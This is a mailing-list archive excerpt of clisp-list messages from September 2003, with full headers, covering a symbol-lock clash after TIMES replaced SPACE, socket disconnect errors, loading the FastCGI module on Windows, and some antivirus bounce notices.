2.31, the SPACE macro has been renamed TIMES. Alas, this has broken some programs of mine, that worked in clisp 2.30 and defined their own TIMES function, since now (defun times .....) gives a continuable error. [1]> (defun times()) ** - Continuable Error DEFUN/DEFMACRO(TIMES): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [2]> Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or (better) make it unaccessible at startup without a package extension? Carlo Traverso From kaz@footprints.net Sun Sep 07 05:56:10 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vz5O-00075B-00 for ; Sun, 07 Sep 2003 05:56:10 -0700 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vz5O-0002dM-Bx for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 05:56:10 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19vz4q-0003eF-00; Sun, 07 Sep 2003 05:55:36 -0700 From: Kaz Kylheku To: Carlo Traverso cc: clisp-list@lists.sourceforge.net In-Reply-To: <200309071044.h87Ai8M12646@posso.dm.unipi.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: On Sun, 7 Sep 2003, Carlo Traverso wrote: > In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has > broken some programs of mine, that worked in clisp 2.30 and defined > their own TIMES function, since now (defun times .....) gives a > continuable error. > > [1]> (defun times()) > > ** - Continuable Error > DEFUN/DEFMACRO(TIMES): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > > 1. Break [2]> > > Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or [...] Content analysis details: (-2.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: 2.31: space -> times Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 05:57:02 2003 X-Original-Date: Sun, 7 Sep 2003 05:55:36 -0700 (PDT) On Sun, 7 Sep 2003, Carlo Traverso wrote: > In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has > broken some programs of mine, that worked in clisp 2.30 and defined > their own TIMES function, since now (defun times .....) gives a > continuable error. > > [1]> (defun times()) > > ** - Continuable Error > DEFUN/DEFMACRO(TIMES): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > > 1. Break [2]> > > Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or No; this is what the package system is for. > (better) make it unaccessible at startup without a package extension? That is what the COMMON-LISP-USER package is for. ANSI CL allows implementations to expose extensions there, making them conveniently accessible from the REPL. If you intern your program's symbols under COMMON-LISP-USER, you risk clashing with some implementation's extensions, which may fluctuate from release to release. The solution is to define your own package, in which exactly those things are visible that you choose. From cjdarken@nps.navy.mil Sun Sep 07 06:47:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vztB-0003Yy-00 for ; Sun, 07 Sep 2003 06:47:37 -0700 Received: from ellis.ad.nps.navy.mil ([131.120.18.61] helo=[140.32.132.66]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vztB-0000jT-EM for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 06:47:37 -0700 Received: from no.name.available by [140.32.132.66] via smtpd (for [66.35.250.206]) with ESMTP; Sun, 7 Sep 2003 06:48:01 -0700 Received: from essex.ad.nps.navy.mil ([131.120.18.26]) by ellis.ad.nps.navy.mil with Microsoft SMTPSVC(5.0.2195.6713); Sun, 7 Sep 2003 06:47:36 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: socket problem: handling unexpected client disconnects Thread-Index: AcN1Rph18As+aq2FS2SDwhSvGfIE0w== From: "Darken, Chris USA" To: X-OriginalArrivalTime: 07 Sep 2003 13:47:36.0674 (UTC) FILETIME=[98B62420:01C37546] X-Spam-Score: 1.6 (+) X-Spam-Report: 1.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I have a CLISP program (CLISP 2.31 under WinXP) that sends characters to a client program over a socket. My problem is that when the connection is lost (e.g. because the client program receiving the characters unexpectedly closes the connection on its end), my program exits either in a call to socket-status or in a write-char to the socket with an error like: [...] Content analysis details: (1.60 points, 5 required) BASE64_ENC_TEXT (1.6 points) RAW: Message text disguised using base-64 encoding Subject: [clisp-list] socket problem: handling unexpected client disconnects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 06:48:04 2003 X-Original-Date: Sun, 7 Sep 2003 06:47:36 -0700 SSBoYXZlIGEgQ0xJU1AgcHJvZ3JhbSAoQ0xJU1AgMi4zMSB1bmRlciBXaW5YUCkgdGhhdCBzZW5k cyBjaGFyYWN0ZXJzIHRvIGEgY2xpZW50IHByb2dyYW0gb3ZlciBhIHNvY2tldC4gIE15IHByb2Js ZW0gaXMgdGhhdCB3aGVuIHRoZSBjb25uZWN0aW9uIGlzIGxvc3QgKGUuZy4gYmVjYXVzZSB0aGUg Y2xpZW50IHByb2dyYW0gcmVjZWl2aW5nIHRoZSBjaGFyYWN0ZXJzIHVuZXhwZWN0ZWRseSBjbG9z ZXMgdGhlIGNvbm5lY3Rpb24gb24gaXRzIGVuZCksIG15IHByb2dyYW0gZXhpdHMgZWl0aGVyIGlu IGEgY2FsbCB0byBzb2NrZXQtc3RhdHVzIG9yIGluIGEgd3JpdGUtY2hhciB0byB0aGUgc29ja2V0 IHdpdGggYW4gZXJyb3IgbGlrZToNCiANCioqKiAtIFdpbnNvY2sgZXJyb3IgMTAwNTQgKEVDT05O UkVTRVQpOiBDb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXINCiANCkkgZG9uJ3Qga25vdyBtdWNoIGFi b3V0IGVycm9yIGhhbmRsaW5nIHVuZGVyIGxpc3AsIGJ1dCBJIGNhbid0IHNlZSBob3cgdG8gY2F0 Y2ggdGhpcyBlcnJvci4gIEkndmUgc2VhcmNoZWQgdGhlIG1haWxpbmcgbGlzdCBhcmNoaXZlIGFu ZCBoYXZlbid0IGZvdW5kIGEgc29sdXRpb24uDQogDQpDYW4gYW55b25lIHRlbGwgbWUgaG93IG15 IHByb2dyYW0gY291bGQgdG9sZXJhdGUgdW5leHBlY3RlZCBjbGllbnQgZGlzY29ubmVjdHMgd2l0 aG91dCBleGl0aW5nPw0KIA0KQ2hyaXMNCiANCiANCg== From pascal@informatimago.com Sun Sep 07 07:07:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19w0CY-0005l2-00 for ; Sun, 07 Sep 2003 07:07:38 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19w0CW-0007rg-3t for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 07:07:36 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 20E192B1C9; Sun, 7 Sep 2003 16:07:18 +0200 (CEST) Message-ID: <16219.15254.101633.911256@thalassa.informatimago.com> To: traverso@dm.unipi.it Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] 2.31: space -> times In-Reply-To: <200309071044.h87Ai8M12646@posso.dm.unipi.it> References: <200309071044.h87Ai8M12646@posso.dm.unipi.it> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Carlo Traverso writes: > > In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has > broken some programs of mine, that worked in clisp 2.30 and defined > their own TIMES function, since now (defun times .....) gives a > continuable error. > > [1]> (defun times()) > > ** - Continuable Error > DEFUN/DEFMACRO(TIMES): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > > 1. Break [2]> > > Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or > (better) make it unaccessible at startup without a package extension? > > Carlo Traverso [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 07:08:06 2003 X-Original-Date: Sun, 7 Sep 2003 16:07:18 +0200 Carlo Traverso writes: >=20 > In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has > broken some programs of mine, that worked in clisp 2.30 and defined > their own TIMES function, since now (defun times .....) gives a > continuable error. >=20 > [1]> (defun times()) >=20 > ** - Continuable Error > DEFUN/DEFMACRO(TIMES): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed >=20 > 1. Break [2]>=20 >=20 > Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or > (better) make it unaccessible at startup without a package extension? >=20 > Carlo Traverso (UNUSE-PACKAGE "EXT") TIMES ;; mine (EXT:TIMES) ;; theirs Perhaps it's allowed by the standard, but IMHO, a Common-Lisp system by default should not use any other package than COMMON-LISP. The following should be forbidden. (Same result with -ansi). [pascal@thalassa palm]$ /usr/local/bin/clisp -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> (quit) Bye. You can easily implement this rule adding in your ~/.clisprc.lisp: (mapc (lambda (used) (unuse-package used "COMMON-LISP-USER")) (delete (find-package "COMMON-LISP")=20 (package-use-list "COMMON-LISP-USER"))) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Sun Sep 07 21:40:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wDoq-00028e-00 for ; Sun, 07 Sep 2003 21:40:04 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wDop-0006Pf-CF for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 21:40:03 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wDp9-00088Z-00 for ; Mon, 08 Sep 2003 06:40:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19wCiH-0007Z6-00 for ; Mon, 08 Sep 2003 05:29:13 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wCht-0005uB-00 for ; Mon, 08 Sep 2003 05:28:49 +0200 From: synthespian Lines: 12 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hello -- Newbie help: how do I load the fastcgi module? The documentation mentioned a lot of - to me - strange stuff: C header files, etc, that didn't seem to make much sense for a builtin module. Can you help? [...] Content analysis details: (-0.10 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] How do I load the fastcgi module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 21:41:02 2003 X-Original-Date: Mon, 08 Sep 2003 00:17:03 -0300 Hello -- Newbie help: how do I load the fastcgi module? The documentation mentioned a lot of - to me - strange stuff: C header files, etc, that didn't seem to make much sense for a builtin module. Can you help? Thank you. Regs, Henry From lisp-clisp-list@m.gmane.org Sun Sep 07 22:05:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wEDC-0005Hy-00 for ; Sun, 07 Sep 2003 22:05:14 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wEDB-00058l-FH for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 22:05:13 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wEDY-0008Jy-00 for ; Mon, 08 Sep 2003 07:05:36 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19wEDW-0008Jo-00 for ; Mon, 08 Sep 2003 07:05:34 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wED9-0007Q5-00 for ; Mon, 08 Sep 2003 07:05:11 +0200 From: synthespian Lines: 18 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en In-Reply-To: X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: synthespian wrote: > Hello -- > > Newbie help: how do I load the fastcgi module? The documentation > mentioned a lot of - to me - strange stuff: C header files, etc, that > didn't seem to make much sense for a builtin module. > Can you help? > > Thank you. > > Regs, > Henry I'm sorry, I forgot to add, this is on Win32. There is no "modules" directory in /src. TIA hy [...] Content analysis details: (-2.60 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: How do I load the fastcgi module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 22:06:02 2003 X-Original-Date: Mon, 08 Sep 2003 01:52:02 -0300 synthespian wrote: > Hello -- > > Newbie help: how do I load the fastcgi module? The documentation > mentioned a lot of - to me - strange stuff: C header files, etc, that > didn't seem to make much sense for a builtin module. > Can you help? > > Thank you. > > Regs, > Henry I'm sorry, I forgot to add, this is on Win32. There is no "modules" directory in /src. TIA hy From hin@van-halen.alma.com Mon Sep 08 18:53:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wXhG-0001xE-00 for ; Mon, 08 Sep 2003 18:53:34 -0700 Received: from mxr01.nyc01.dsl.net ([209.87.79.229]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wV44-0007Sg-5e for clisp-list@lists.sourceforge.net; Mon, 08 Sep 2003 16:04:56 -0700 Received: from coopers.dsl.net (coopers.dsl.net [65.84.81.5]) by mxr01.nyc01.dsl.net (Postfix) with ESMTP id C63A21BE78 for ; Mon, 8 Sep 2003 11:03:52 -0400 (EDT) Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 8693D10DEFA; Mon, 8 Sep 2003 08:27:23 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h88CRN7G025499; Mon, 8 Sep 2003 08:27:23 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h88CRNx8025496; Mon, 8 Sep 2003 08:27:23 -0400 Message-Id: <200309081227.h88CRNx8025496@van-halen.alma.com> From: "John K. Hinsdale" To: synthespian@uol.com.br Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from synthespian on Mon, 08 Sep 2003 01:52:02 -0300) Subject: Re: [clisp-list] Re: How do I load the fastcgi module? X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > You're compiling from source code and not using a Windows > binary, right? Just checked out the CLISP distribution for Win32 and my guess is yes, you're using a binary distribution which will not have compiled into it any of the extra module "goodies" like the FastCGI module. [...] Content analysis details: (-0.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 8 18:54:30 2003 X-Original-Date: Mon, 8 Sep 2003 08:27:23 -0400 > You're compiling from source code and not using a Windows > binary, right? Just checked out the CLISP distribution for Win32 and my guess is yes, you're using a binary distribution which will not have compiled into it any of the extra module "goodies" like the FastCGI module. Your only option at this point would be to compile CLISP from the source. I'll see what I can do about getting whoever it is that assembles the binary to build it with the FastCGI enabled but it will require some configuration changes. > The documentation > mentioned a lot of - to me - strange stuff: C header files, etc, that > didn't seem to make much sense for a builtin module. I'm still curious as to exactly where the C headers were talked about. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From MAILsweeper@acxiom.com Mon Sep 08 21:04:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wZk5-0005Qb-00 for ; Mon, 08 Sep 2003 21:04:37 -0700 Received: from aerynsun.acxiom.com ([198.160.100.121]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wZk3-0002DL-8N for clisp-list@lists.sourceforge.net; Mon, 08 Sep 2003 21:04:35 -0700 From: MAILsweeper@acxiom.com To: clisp-list@lists.sourceforge.net Cc: postmaster@acxiom.com MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Message-Id: X-Spam-Score: 1.4 (+) X-Spam-Report: 1.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: The Email Message: Thank you!, Sent To: ted.stockwell@acxiom.com Contained the following virus that could not be cleaned: Scenarios/Incoming/Inbound Scan: A virus has been detected: 'W32/Sobig-F'. [...] Content analysis details: (1.40 points, 5 required) NO_REAL_NAME (0.8 points) From: does not include a real name INVALID_DATE (0.6 points) Invalid Date: header (not RFC 2822) Subject: [clisp-list] Email Quarantined Due to Virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 8 21:05:07 2003 X-Original-Date: Mon, 8 Sep 2003 23:03:53 -05300 (CDT) The Email Message: Thank you!, Sent To: ted.stockwell@acxiom.com Contained the following virus that could not be cleaned: Scenarios/Incoming/Inbound Scan: A virus has been detected: 'W32/Sobig-F'. From drweb@ftcenter.ru Tue Sep 09 02:53:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wfBS-0003tV-00 for ; Tue, 09 Sep 2003 02:53:14 -0700 Received: from mail.ftcenter.ru ([193.111.116.68]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19wfBP-0006t2-PD for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 02:53:12 -0700 Received: from conversion-daemon.mail.ftcenter.ru by mail.ftcenter.ru (iPlanet Messaging Server 5.1 Patch 1 (built Jun 6 2002)) id <0HKX00501WVGFA@mail.ftcenter.ru> for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 13:55:10 +0400 (MSD) Received: from FS8.ftcenter.ru (fs8.ftcenter.ru [192.168.6.23]) by mail.ftcenter.ru (iPlanet Messaging Server 5.1 Patch 1 (built Jun 6 2002)) with ESMTP id <0HKX006LKY7XF0@mail.ftcenter.ru> for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 13:55:09 +0400 (MSD) Received: (from root@localhost) by FS8.ftcenter.ru (8.11.6/8.11.6) id h899i6a30446 for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 13:44:06 +0400 From: DrWeb-DAEMON To: clisp-list@lists.sourceforge.net Message-id: <200309090944.h899i6a30446@FS8.ftcenter.ru> MIME-version: 1.0 Content-type: multipart/report; boundary="Boundary_(ID_1h8FI/0WGRNipeqpNjxSIw)"; report-type=delivery-status X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Dear User, The message with following attributes has not been delivered. because contains an infected object. Sender = clisp-list@lists.sourceforge.net Recipients = reporter@ftcenter.ru Subject = Re: Your application Message-ID = h899i2c30440 [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] Undelivered mail: Re: Your application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 9 02:54:04 2003 X-Original-Date: Tue, 09 Sep 2003 13:44:06 +0400 --Boundary_(ID_1h8FI/0WGRNipeqpNjxSIw) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Dear User, The message with following attributes has not been delivered. because contains an infected object. Sender = clisp-list@lists.sourceforge.net Recipients = reporter@ftcenter.ru Subject = Re: Your application Message-ID = h899i2c30440 Antivirus filter report: --- Dr.Web report --- ======== infected with Win32.HLLM.Reteras ======== plain] - Ok application.pif infected with Win32.HLLM.Reteras ======== known virus is found : 1 --- Dr.Web report --- --Boundary_(ID_1h8FI/0WGRNipeqpNjxSIw) Content-type: text/plain; charset=koi8-r Content-transfer-encoding: 8BIT õ×ÁÖÁÅÍÙÊ ïÔÐÒÁ×ÉÔÅÌØ clisp-list@lists.sourceforge.net, óÏÏÂÝÅÎÉÅ, ÏÔÐÒÁ×ÌÅÎÎÏÅ ÷ÁÍÉ ÐÏ ÁÄÒÅÓÕ(ÁÍ) reporter@ftcenter.ru ÉÎÆÉÃÉÒÏ×ÁÎÏ É ÎÅ ÂÙÌÏ ÄÏÓÔÁ×ÌÅÎÏ. --- Dr.Web report --- ======== infected with Win32.HLLM.Reteras ======== plain] - Ok application.pif infected with Win32.HLLM.Reteras ======== known virus is found : 1 --- Dr.Web report --- --Boundary_(ID_1h8FI/0WGRNipeqpNjxSIw) Content-type: TEXT/RFC822-HEADERS Received: from unknown by DrWeb Sendmail Filter v4.29 with id h899i2c30440 Date: Tue, 9 Sep 2003 13:54:12 +0400 From: Subject: Re: Your application To: MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: TEXT/PLAIN Content-transfer-encoding: QUOTED-PRINTABLE Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean --Boundary_(ID_1h8FI/0WGRNipeqpNjxSIw)-- From fc@all.net Tue Sep 09 10:34:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wmNO-0007jL-00 for ; Tue, 09 Sep 2003 10:34:02 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wmNM-0002s4-W8 for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 10:34:01 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h89HXRC08508 for clisp-list@lists.sourceforge.net; Tue, 9 Sep 2003 10:33:27 -0700 Message-Id: <200309091733.h89HXRC08508@all.net> To: clisp-list@lists.sourceforge.net From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I am trying to get an FFI interface program that 